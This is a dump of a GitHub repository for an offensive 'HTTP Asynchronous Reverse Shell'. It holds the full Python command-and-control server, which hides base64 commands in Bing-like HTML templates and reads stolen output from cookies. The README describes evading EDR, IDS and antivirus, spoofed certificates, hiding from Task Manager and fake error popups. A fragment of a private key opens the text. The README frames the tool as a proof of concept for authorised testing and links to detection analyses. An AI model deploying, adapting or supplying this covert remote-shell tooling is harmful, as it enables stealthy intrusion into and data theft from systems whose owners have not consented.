28 | 1bjWx6+kNwrDkXbey3/vYC+Jj876wlWW+5MQdXaKxx8W9Q0CEqRnHWkBNyPNbGXK 29 | Pvh8j9H9kQMKPBbLWpzQ/VZ8KFtHUjNZ75g6wX+DnKE98x4SmK2v1qYYDFCblgbF 30 | YpBOLPRkngjemInfqANG63aDwW5LtSga0IaOfp3qvuQDcJF34PHbhLE8Qh6avMe1 31 | pvNjEVM1AgMBAAECggEAGBFzebH8kGHL4E5kurtBqXEjwkKurU10nv8vqKjfPCqi 32 | NkY1KaIRg5T7uMos6bXpHDoJRUYYXTn+HBrTjAg/oqcSlIXNRmZPpmCuBUeGXybo 33 | excvXLhgFW8iiJHATIGzsbCkjEcgTgxCAvHiEK+IZZP186Dw15MUmg0RGL8lVPJJ 34 | rneYZdbYTV9mXOe+/6dhwHhEdnAKFg86raFDsD3bdidVbylSEwlb33I+8Z2HJJpj 35 | yC6QwWAd1nRP2+A9aJs09AwuxfU40Y8lDjVTQ0XKyWFjaU7FHxIm9iGedsj/tQZG 36 | A1M3Tc6cbJw1Nr3XSxkFtBcD567ysV3t9i0rPjx2zQKBgQDSkdzfhjspxQ6xUd46 37 | zDXZBLCIgll+fc3BRh/cX6hDBqzyu3fBX0IOh4hcm75dd9b3sxs4cSlVprdUt9d0 38 | 4QwOrAYkEZJnoq4q6bQ0QEEJzl2IdO4t8VcPQS6szpjOigdRdlw5+W2/PO6qDzhj 39 | j4DxGfHDpMUsQ/uYS0ee/hhYbwKBgQDNYkAnnXDihbxGR6ZUGt94ZRWUnHaYZP83 40 | H3jr+xVatK64T3WHSRJOmcmvtxwhq1uHCPLIQDwWtagfCFcDPOImO4YS0Jmxgxeo 41 | msXQ+ZN3BCNApbSaAlnj+ahfbNhi1WSavtnydZe0SPQQ9zvhOMhjUe+1xwHUlPnZ 42 | SxXIm3y4mwKBgQC8+Nhu5WktGEMSUXWN8PyWUYYYTFsCkOZZgJRRUquP02rcv+8+ 43 | ZD3FCk8PRVo3SbhrPZq9MZk129OFvSMoKluGw00Ti42HYlDKBEiL5+o2YbRBJScn 44 | pgJKl2XLAfHS0b61lfI4uSeLy6QojFY/y2adeXol6TZmfnBJga25+zFgEwKBgQCG 45 | p9wYHQld+wCts1xB2Dyb2uqDPPIkiFMr+N53GW+uwLes76vGvwnZrsqlAhDXolmn 46 | 9x32XOcInKFVd0pVPR2oo24L9+hMkf549MCtenRMm9HhGMOIFfKJna3eoqZcZjxH 47 | mMmcRazo7svWM8J2r5vyQk4/h/KTRflplej6Vbc38QKBgQCno2ToEUnWkVGbkxqb 48 | IS03UdmoUFrLjkmH0jTfeoEF18Et9Dx8hyS1eRbQB2qL0I6B6zEaDQs+fIMOUUFO 49 | TT/b60CBH1FQch4UKf00y8quZ+VEVeWFcgFR4hYJybYeKs8qD7dYXjA+IlD9gayT 50 | 1jif5SbBCgwEijGTdQ+PNn1qqQ== 51 | -----END PRIVATE KEY----- -------------------------------------------------------------------------------- /HARS_Server/templates/9: -------------------------------------------------------------------------------- 1 | 2 | games of thrones streaming - Bing

20 200 000 résultats

  1. Game Of Thrones Streaming - Tous les épisodes de Game Of ...

    https://got-en-streaming.org

    GOT-en-Streaming.org et son hébergeur ne peuvent en aucun cas être tenus pour responsables du contenu diffusé sur le site. Selon la loi, pour visionner une œuvre sur le site vous devez posséder …

  2. ️Game Of Thrones EN STREAMING - Tous les épisodes de Game ...

    https://game-of-thrones-streaming.co

    Avertissement légal : game-of-thrones-streaming n\'héberge aucun fichier vidéo. nous ne faisons que répertorier du contenu se situant sur divers hébergeurs légalement reconnus tels que Openload, streamango ou encore Firedrive... game-of-thrones-streaming et son hébergeur ne peuvent en aucun cas être tenus pour responsables du contenu diffusé sur le site. Selon la loi, pour visionner une œuvre sur …

  3. série Game of Thrones en Streaming Complet VF

    https://filmzstream.cc/seriestv/9248-game-of-thrones

    24/11/2017 · Série Game of Thrones en Streaming VF N’est pas un temps très long, à une époque oubliée, une force qui a détruit l’équilibre des stations. Dans un pays où l’Été peut durer plusieurs années et l’hiver toute une vie, sinistres forces surnaturelles et …

    • 8,1/10
      Autres articles de filmzstream.cc

    • Game of Thrones Saison 1 streaming complet français et ...

      https://www.dpstream.pro/saison/game-of-thrones-saison-1

      Regarder la serie Game of Thrones Saison 1 en streaming vf vostfr gratuit. Sur le continent de Westeros, le roi Robert Baratheon règne sur le Royaume des Sept Couronnes depuis qu'il a mené à la victoire la rébellion contre le roi

      • 8/10
        (5)

      • des films en streaming VOSTFR et VF gratuit

        https://gameofthrones-streamingvf.com

        Regarder tous les derniers et meilleurs films, et série N1 au monde, en streaming complet et gratuit

      • Game of Thrones Saison 1 Streaming VF - VoirFilmsHD

        https://voirfilmshd.net/game-of-thrones-saison-1-en-francais

        Synopsis: Game of Thrones Saison 1 Streaming VF HD. Neuf familles nobles se disputent le contrôle des terres mythiques de Westeros, tandis qu'un ancien ennemi revient après avoir dormi pendant des milliers d'années. Réalisateur: David Benioff, D.B. Weiss

      • Serie Game of Thrones Streaming HD, VF - streaming-hd.fr

        www.streaming-hd.fr/stream-serie-hd/game-of-thrones

        Streaming HD Game of Thrones saison 7 épisode 8 tous les saisons complet HD: Il y a très longtemps, à une époque oubliée, une force a détruit l'équilibre des saisons. Dans un pays où l'été peut durer plusieurs années et l'hiver toute une vie, des forces sinistres et surnaturelles se pressent aux portes du Royaume des Sept Couronnes.

        • 9/10

        • Saison 1 - Game Of Thrones Streaming

          https://got-en-streaming.org/saison-1
            1. L'hiver vient 54785. Sur le continent de Westeros, un jeune patrouilleur de la Garde de Nuit, chargée …
            2. La route royale 31144. Daenerys Targaryen, fraîchement mariée au Khal Drogo, entreprend avec les …
            3. Lord Snow 24820. À peine arrivé à Port-Réal, Eddard Stark est convoqué à une session du Conseil …
            4. Infirmes, bâtards et choses brisées 22184. A Port-Réal, Eddard Stark commence son enquête pour …
            Voir la liste complète sur got-en-streaming.org

        • Regarder Game of Thrones Saison 1 en streaming HD gratuit ...

          https://voirseries.tv/game-of-thrones-saison-1

          19/10/2018 · Regarder Game of Thrones Saison 1 en streaming HD gratuit sans illimité VF et Vostfr. Synopsis: Il y a très longtemps, à une époque oubliée, une force a détruit l’équilibre des saisons. Dans un pays où l’été peut durer plusieurs années et l’hiver toute une vie, des forces sinistres et surnaturelles se pressent aux portes du Royaume des Sept Couronnes.

          • 4,5/5
            (4)

          • Game of Thrones Saison 8 2019 • Voir Serie Streaming HD ...

            https://hdss.to/serie/game-of-throne-z

            21/05/2019 · Game of Thrones streaming, Sur le continent de Westeros, le roi Robert Baratheon gouverne le Royaume des Sept Couronnes depuis plus de dix-sept ans, à la suite de la rébellion qu’il a menée contre le « roi fou » Aerys II Targaryen. Jon Arryn, époux de la sœur de Lady Catelyn Stark, Lady Arryn, son guide et principal conseiller, vient de décéder, et le roi part alors dans le nord du ...

            • 4,7/5

            • Recherches associées pour games of thrones streaming

            • Certains résultats ont été supprimés
            -------------------------------------------------------------------------------- /HARS_Server/www/HARS_Server.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # -*- coding: utf-8 -*- 3 | 4 | # HTTP ASYNCHRONE REVERSE SHELL 5 | # Version : 0.1 POC 6 | # Git : https://github.com/onSec-fr 7 | 8 | import BaseHTTPServer, SimpleHTTPServer 9 | import ssl 10 | import os 11 | import base64 12 | import threading 13 | import sys 14 | import random 15 | 16 | # Config 17 | PORT = 443 18 | CERT_FILE = '../server.pem' 19 | 20 | class MyHandler(BaseHTTPServer.BaseHTTPRequestHandler): 21 | 22 | # Custom headers 23 | def _set_headers(self): 24 | self.send_header("Cache-Control", "private, max-age=0") 25 | self.send_header("Content-Type", "text/html; charset=utf-8") 26 | self.send_header("Vary", "Accept-Encoding") 27 | self.send_header("Connection", "close") 28 | self.end_headers() 29 | 30 | # GET events 31 | def do_GET(self): 32 | if self.path.startswith("/search"): 33 | if initConn == False: 34 | # If client say hello, then reply hello (first connection) 35 | if base64.b64decode(self.headers['Cookie']) == "HELLO": 36 | print(Colors.GREEN + '[!] Connection established with ' + self.client_address[0] + "\n" + Colors.END) 37 | InitConn() 38 | self.send_response(200) 39 | self._set_headers() 40 | cmd = 'HELLO' 41 | encodedCmd = str(base64.b64encode(cmd.encode("utf-8"))) 42 | rndtemplate = random.choice([x for x in os.listdir("../templates") if os.path.isfile(os.path.join("../templates", x))]) 43 | with open("../templates/" + rndtemplate, 'r') as file: 44 | outfile = file.read() + encodedCmd 45 | self.wfile.write(outfile) 46 | else: 47 | self.send_response(404) 48 | self._set_headers() 49 | self.wfile.write("Not found") 50 | # Client ask for instructions 51 | elif base64.b64decode(self.headers['Cookie']) == "ASK": 52 | with open('search', 'r') as file: 53 | outfile = file.read() 54 | self.send_response(200) 55 | self._set_headers() 56 | self.wfile.write(outfile) 57 | if (wait == False): 58 | InitFile() 59 | # Client reply with output 60 | else: 61 | resp = base64.b64decode(self.headers['Cookie']) 62 | if resp == "EXIT OK": 63 | stop_server() 64 | else: 65 | print(Colors.LIGHT_WHITE + "\n" + resp + Colors.END) 66 | InitFile() 67 | self.send_response(200) 68 | self._set_headers() 69 | with open('search', 'r') as file: 70 | outfile = file.read() 71 | self.wfile.write(outfile) 72 | CancelWait() 73 | else: 74 | self.send_response(404) 75 | self._set_headers() 76 | self.wfile.write("Not found") 77 | 78 | # Save logs 79 | log_file = open('../logs/logs.txt', 'w', True) 80 | def log_message(self, format, *args): 81 | self.log_file.write("%s - - [%s] %s\n" %(self.client_address[0],self.log_date_time_string(),format%args)) 82 | 83 | def InitConn(): 84 | global initConn 85 | initConn = True 86 | 87 | def CancelWait(): 88 | global wait 89 | wait = False 90 | 91 | # Choose random template file 92 | def InitFile(): 93 | rndtemplate = random.choice([x for x in os.listdir("../templates") if os.path.isfile(os.path.join("../templates", x))]) 94 | with open("../templates/" + rndtemplate, 'r') as file: 95 | template = file.read() 96 | outfile = open("search", "w") 97 | outfile.write(template) 98 | outfile.close() 99 | 100 | class Colors: 101 | BLACK = "\033[0;30m" 102 | RED = "\033[0;31m" 103 | GREEN = "\033[0;32m" 104 | BROWN = "\033[0;33m" 105 | BLUE = "\033[0;34m" 106 | PURPLE = "\033[0;35m" 107 | CYAN = "\033[0;36m" 108 | LIGHT_GRAY = "\033[0;37m" 109 | DARK_GRAY = "\033[1;30m" 110 | LIGHT_RED = "\033[1;31m" 111 | LIGHT_GREEN = "\033[1;32m" 112 | YELLOW = "\033[1;33m" 113 | LIGHT_BLUE = "\033[1;34m" 114 | LIGHT_PURPLE = "\033[1;35m" 115 | LIGHT_CYAN = "\033[1;36m" 116 | LIGHT_WHITE = "\033[1;37m" 117 | BOLD = "\033[1m" 118 | FAINT = "\033[2m" 119 | ITALIC = "\033[3m" 120 | UNDERLINE = "\033[4m" 121 | BLINK = "\033[5m" 122 | NEGATIVE = "\033[7m" 123 | CROSSED = "\033[9m" 124 | END = "\033[0m" 125 | if not __import__("sys").stdout.isatty(): 126 | for _ in dir(): 127 | if isinstance(_, str) and _[0] != "_": 128 | locals()[_] = "" 129 | else: 130 | if __import__("platform").system() == "Windows": 131 | kernel32 = __import__("ctypes").windll.kernel32 132 | kernel32.SetConsoleMode(kernel32.GetStdHandle(-11), 7) 133 | del kernel32 134 | 135 | # Start http server 136 | def start_server(): 137 | global httpd 138 | print(Colors.BLUE + '[!] Server listening on port ' + str(PORT) + ', waiting connection from client...' + Colors.END) 139 | server_class = BaseHTTPServer.HTTPServer 140 | MyHandler.server_version = "Microsoft-IIS/8.5" 141 | MyHandler.sys_version = "" 142 | httpd = server_class(('0.0.0.0', PORT), MyHandler) 143 | httpd.socket = ssl.wrap_socket (httpd.socket, certfile=CERT_FILE, server_side=True) 144 | httpd.serve_forever() 145 | 146 | # Exit 147 | def stop_server(): 148 | print(Colors.YELLOW + '[!] Exit' + Colors.END) 149 | os.remove("search") 150 | os._exit(1) 151 | 152 | if __name__ == '__main__': 153 | # Init 154 | initConn = False 155 | wait = True 156 | InitFile() 157 | try: 158 | # Start http server in separate thread 159 | daemon = threading.Thread(target=start_server) 160 | daemon.daemon = True 161 | daemon.start() 162 | # Wait for first connection from client 163 | while (initConn == False): 164 | pass 165 | while True: 166 | cmd = raw_input("Command> ") 167 | wait = True 168 | print(Colors.BLUE + 'Awaiting response ...' + Colors.END) 169 | encodedCmd = str(base64.b64encode(cmd.encode("utf-8"))) 170 | rndtemplate = random.choice([x for x in os.listdir("../templates") if os.path.isfile(os.path.join("../templates", x))]) 171 | with open("../templates/" + rndtemplate, 'r') as file: 172 | template = file.read() + encodedCmd 173 | outfile = open("search", "w") 174 | outfile.write(template) 175 | outfile.close() 176 | # Wait for client's reply 177 | while (wait == True): 178 | pass 179 | except KeyboardInterrupt: 180 | stop_server() 181 | -------------------------------------------------------------------------------- /Images/Architecture.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/onSec-fr/Http-Asynchronous-Reverse-Shell/105262ee01ecf5ffdf31fabf63f37312098d390c/Images/Architecture.png -------------------------------------------------------------------------------- /Images/Concept.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/onSec-fr/Http-Asynchronous-Reverse-Shell/105262ee01ecf5ffdf31fabf63f37312098d390c/Images/Concept.png -------------------------------------------------------------------------------- /Images/av_detection.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/onSec-fr/Http-Asynchronous-Reverse-Shell/105262ee01ecf5ffdf31fabf63f37312098d390c/Images/av_detection.png -------------------------------------------------------------------------------- /Images/client_demo.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/onSec-fr/Http-Asynchronous-Reverse-Shell/105262ee01ecf5ffdf31fabf63f37312098d390c/Images/client_demo.gif -------------------------------------------------------------------------------- /Images/project_config.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/onSec-fr/Http-Asynchronous-Reverse-Shell/105262ee01ecf5ffdf31fabf63f37312098d390c/Images/project_config.png -------------------------------------------------------------------------------- /Images/server_demo.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/onSec-fr/Http-Asynchronous-Reverse-Shell/105262ee01ecf5ffdf31fabf63f37312098d390c/Images/server_demo.gif -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2020 onSec-fr 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # HTTP/S Asynchronous Reverse Shell 2 | 3 | ![Banner](https://github.com/onSec-fr/Http-Asynchronous-Reverse-Shell/blob/master/Images/Architecture.png?raw=true) 4 | 5 | ------------ 6 | 7 | ### ✨ Introduction 8 | 9 | In an age where advanced detection systems such as IDS, IPS, EDR, AV, and firewalls dominate corporate networks, evading them during offensive security assessments is a challenge. Most reverse shells leverage TCP tunnels (L4), which are now routinely analyzed and flagged. 10 | 11 | **This project presents an innovative solution**: a completely asynchronous reverse shell over HTTP/S that blends into normal web traffic by mimicking legitimate user behavior. 12 | 13 | Unlike traditional reverse shells, it only uses **GET requests**, appears as **normal web queries**, and can optionally run over **HTTPS with a fake legitimate certificate**, minimizing the chances of detection. 14 | 15 | ------------ 16 | 17 | ### How it works ? 18 | 1. The client app is executed on the target machine. 19 | 2. The client initiates the connection with the server. 20 | 3. The server accepts the connection - then : 21 | > The client queries the server until it gets instructions.\ 22 | > The attacker provides instructions to the server.\ 23 | > When a command is defined, the client executes it and returns the result. 24 | > And so on, until the attacker decides to end the session. 25 | 26 | [![](https://github.com/onSec-fr/Http-Asynchronous-Reverse-Shell/blob/master/Images/Concept.png?raw=true)](https://github.com/onSec-fr/Http-Asynchronous-Reverse-Shell/blob/master/Images/Concept.png?raw=true) 27 | 28 | ### Disclaimer 29 | 30 | *This tool is only intended to be a proof of concept demonstration tool for authorized security testing. Make sure you check with your local laws before running this tool.* 31 | 32 | ### 🔧 Features 33 | 34 | **Today, as a poc, the following functionalities are implemented:** 35 | 36 | * Stealthy GET-only communication. 37 | * Mimics Bing.com traffic. 38 | * Base64-encoded commands in HTML. 39 | * Exfiltration via HTTP cookies. 40 | * Optional HTTPS with spoofed cert. 41 | * Random delays and templates per request. 42 | * Single PowerShell process reuse to evade EDR. 43 | * Compatible with CMD & PowerShell commands. 44 | * Optional fake error message popup. 45 | * Hidden from Task Manager. 46 | * Optional admin-level execution. 47 | 48 | ------------ 49 | 50 | ### 🎥 Demonstration 51 | 52 | **Client side** 53 | [![](https://github.com/onSec-fr/Http-Asynchronous-Reverse-Shell/blob/master/Images/client_demo.gif?raw=true)](https://github.com/onSec-fr/Http-Asynchronous-Reverse-Shell/blob/master/Images/client_demo.gif?raw=true) 54 | 55 | **Server side** 56 | [![](https://github.com/onSec-fr/Http-Asynchronous-Reverse-Shell/blob/master/Images/server_demo.gif?raw=true)](https://github.com/onSec-fr/Http-Asynchronous-Reverse-Shell/blob/master/Images/server_demo.gif?raw=true) 57 | 58 | ------------ 59 | 60 | ### ⚙️ Configuration 61 | 62 | #### Client (C#) 63 | 64 | 1. Open `HARS.sln` in Visual Studio. 65 | 2. Edit `Config.cs` to match your environment: 66 | 67 | ```csharp 68 | class Config 69 | { 70 | /* Behavior */ 71 | // Display a fake error msg at startup 72 | public static bool DisplayErrorMsg = true; 73 | // Title of fake error msg 74 | public static string ErrorMsgTitle = "This application could not be started."; 75 | // Description of fake error msg 76 | public static string ErrorMsgDesc = "Unhandled exception has occured in your application. \r\r Object {0} is not valid."; 77 | // Min delay between the client calls 78 | public static int MinDelay = 2; 79 | // Max delay between the client calls 80 | public static int MaxDelay = 5; 81 | // Fake uri requested - Warning : it must begin with "search" (or need a change on server side) 82 | public static string Url = "search?q=search+something&qs=n&form=QBRE&cvid="; 83 | /* Listener */ 84 | // Hostname/IP of C&C server 85 | public static string Server = "https://127.0.0.1"; 86 | // Listening port of C&C server 87 | public static string Port = "443"; 88 | // Allow self-signed or "unsecure" certificates - Warning : often needed in corporate environment using proxy 89 | public static bool AllowInsecureCertificate = true; 90 | } 91 | ``` 92 | 93 | **Optional:** Edit `HARS.manifest` to adjust privilege level. 94 | 95 | > `requestedExecutionLevel` can be set to `asInvoker`, `highestAvailable`, or `requireAdministrator`. 96 | 97 | **Projet properties** 98 | 99 | Here you can customize the assembly information and an icon for the file. 100 | 101 | [![](https://github.com/onSec-fr/Http-Asynchronous-Reverse-Shell/blob/master/Images/project_config.png?raw=true)](https://github.com/onSec-fr/Http-Asynchronous-Reverse-Shell/blob/master/Images/project_config.png?raw=true) 102 | 103 | Note : Target .NET framework version is set to 4.6 which is available by default in Windows 10. 104 | *For Windows 7, choose .NET 3.5 if you don't want to have to install missing features.* 105 | 106 | #### Build 107 | 108 | Build the project from Visual Studio. 109 | The client should be generated in `Http Asynchronous Reverse Shell\HARS_Client\HARS\bin\Release` folder. 110 | 111 | **Done!** 112 | 113 | ------------ 114 | 115 | #### Server (Python) 116 | 117 | 1. Edit `HARS_Server.py` in `HARS_Server/www/` to customize port or certificate path. 118 | 119 | ```python 120 | PORT = 443 121 | CERT_FILE = '../server.pem' 122 | ``` 123 | 124 | 2. Run with: 125 | 126 | ```bash 127 | python HARS_Server.py 128 | ``` 129 | 130 | #### Notes 131 | 132 | -HTTP Logs are located in `Http Asynchronous Reverse Shell\HARS_Server\logs`\ 133 | -You can add your own templates (any html page) in `Http Asynchronous Reverse Shell\HARS_Server\templates` 134 | 135 | ### 🔗 References 136 | 137 | * [RSA NetWitness Detection Review by Lee Kirkpatric](https://community.rsa.com/community/products/netwitness/blog/2020/04/01/using-rsa-netwitness-to-detect-http-asynchronous-reverse-shell-hars) 138 | * [Deep Dive Analysis by Nasreddine Bencherchali](https://nasbench.medium.com/understanding-detecting-c2-frameworks-hars-682b30f0505c) 139 | 140 | --- 141 | 142 | ------------ 143 | @onSec-fr 144 | --------------------------------------------------------------------------------